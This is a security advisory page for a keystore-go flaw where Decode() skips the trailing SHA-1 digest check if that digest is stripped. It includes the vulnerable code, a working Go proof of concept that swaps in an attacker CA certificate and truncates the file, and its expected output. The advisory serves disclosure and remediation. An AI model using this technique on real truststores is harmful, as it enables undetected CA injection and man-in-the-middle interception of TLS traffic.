HIGH · CVSS 3.1 7.1 EPSS 0.1% · 0th percentile CWE-252CWE-347CWE-354

CVE-2026-76101: keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode()

Published 2026-11-19 · Updated 2026-11-23 · Also known as GHSA-j282-pjg5-j643, GO-2026-7002

Summary

A flaw in the keystore-go library fails to inspect errors or loop bounds when reading the trailing integrity digest of JKS files. Engineering teams using legacy versions of github.com/pavel-v-chernykh/keystore-go must migrate to v3 or v4.

Who is affected

Affected deployments are applications utilizing `keystore.Decode()` to load Java KeyStore (JKS) files where integrity or password protection relies on the trailing SHA-1 digest. An attacker with local write access to the keystore file can strip the final 20 bytes and modify trusted CA certificates without knowing the keystore password. This enables silent certificate injection, potentially leading to man-in-the-middle attacks on TLS connections depending on the truststore.

Exploitability

The vulnerability requires local file write access to the keystore (AV:L, PR:L) with low complexity (AC:L) and requires no user interaction (UI:N). The base score is 7.1 (HIGH), EPSS is 0.001 (percentile 0.003), and CISA KEV status is no.

Remediation

How to check your project

Automated analysis of the published advisory data, generated 2026-11-23. Not human-reviewed; verify against the official advisory. How this works.

Affected packages

EcosystemPackageAffected versionsFixed inUpgrade
Go github.com/pavel-v-chernykh/keystore-go >= 0, <= 2.1.0 not published -
Go github.com/pavel-v-chernykh/keystore-go >= 0 (no fix published) not published -
Go github.com/pavel-v-chernykh/keystore-go/v3 >= 0, < 3.0.0 3.0.0 go get github.com/pavel-v-chernykh/keystore-go/[email protected]

CVSS 3.1 vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Attack vectorLocal
Attack complexityLow
Privileges requiredLow
User interactionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityNone

FAQ

Does an attacker need the keystore password to exploit this vulnerability?

No. An attacker can bypass password verification and integrity checks entirely by removing the final 20 bytes from the `.jks` file.

Are v3 and v4 of keystore-go affected?

No, v3 and v4 releases incorporate the fix and are not impacted.

Is there a patched version available on the original bare module path?

No. Every release on the bare `github.com/pavel-v-chernykh/keystore-go` path predates the fix, meaning users must migrate to the v3 or v4 successor module paths.

Original advisory description
### Summary `keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and - for certificate-only truststores - the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates. ### Details **Affected versions:** `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path). v3 and v4 releases are not impacted. In `decoder.go`, function `Decode`, lines 264-272: ```go computedDigest := ksd.md.Sum(nil) actualDigest, err := ksd.readBytes(uint32(ksd.md.Size())) for i := 0; i < len(actualDigest); i++ { if actualDigest[i] != computedDigest[i] { return nil, ErrInvalidDigest } } return keyStore, nil ``` Two defects combine here: 1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected. 2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`. `readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`: ```go _, err := io.ReadFull(ksd.r, ksd.b[:blockSize]) if err != nil { return result, ErrIo } ``` When the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`. The JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || "Mighty Aphrodite" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently: - An attacker who can modify a `.jks` truststore on disk - but does **not** know the keystore password - can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid. - After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied. The reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour. ### PoC ``` go mod init poc go get github.com/pavel-v-chernykh/[email protected]+incompatible go run . ``` ```go package main import ( "bytes" "fmt" "os" keystore "github.com/pavel-v-chernykh/keystore-go" ) func main() { originalCert := []byte("ORIGINAL-TRUSTED-CA-CERTIFICATE") evilCert := []byte("EVIL-ATTACKER-CA-CERTIFICATE!!!") // same length ks := keystore.KeyStore{ "trusted-ca": &keystore.TrustedCertificateEntry{ Certificate: keystore.Certificate{ Type: "X509", Content: originalCert, }, }, } var buf bytes.Buffer if err := keystore.Encode(&buf, ks, []byte("correct-password")); err != nil { panic(err) } legit := buf.Bytes() fmt.Printf("[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\n", len(legit)) // Sanity: untampered keystore with WRONG password is rejected. _, err := keystore.Decode(bytes.NewReader(legit), []byte("wrong-password")) fmt.Printf("[*] Decode(legit, wrong-password) -> err=%v (expected ErrInvalidDigest)\n", err) // Attacker: tamper with the certificate, then strip the 20-byte digest. tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1) tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely // 1) Tampered keystore + CORRECT password: integrity check should fail. out, err := keystore.Decode(bytes.NewReader(tampered), []byte("correct-password")) if err == nil { entry := out["trusted-ca"].(*keystore.TrustedCertificateEntry) fmt.Printf("\n[BYPASS] Tampered keystore accepted with correct password.\n") fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content) } else { fmt.Printf("[ok] tampered keystore rejected: %v\n", err) os.Exit(1) } // 2) Tampered keystore + WRONG password: should also fail. out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte("attacker-does-not-know")) if err2 == nil { entry := out2["trusted-ca"].(*keystore.TrustedCertificateEntry) fmt.Printf("[BYPASS] Tampered keystore accepted with WRONG password.\n") fmt.Printf(" Trusted cert content: %q\n", entry.Certificate.Content) } else { fmt.Printf("[ok] wrong password rejected: %v\n", err2) os.Exit(1) } } ``` Expected output: ``` [*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest) [*] Decode(legit, wrong-password) -> err=keystore: invalid digest (expected ErrInvalidDigest) [BYPASS] Tampered keystore accepted with correct password. Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!" [BYPASS] Tampered keystore accepted with WRONG password. Trusted cert content: "EVIL-ATTACKER-CA-CERTIFICATE!!!" ``` ### Impact Any application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does **not** know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required. This defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, "Update to go1.13"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag **v3.0.0**. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path - every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths: - `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0 - `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0 - `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings) Users of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.

References

Source records: GHSA-j282-pjg5-j643, GO-2026-7002 (OSV.dev) · EPSS by FIRST, 2026-11-23.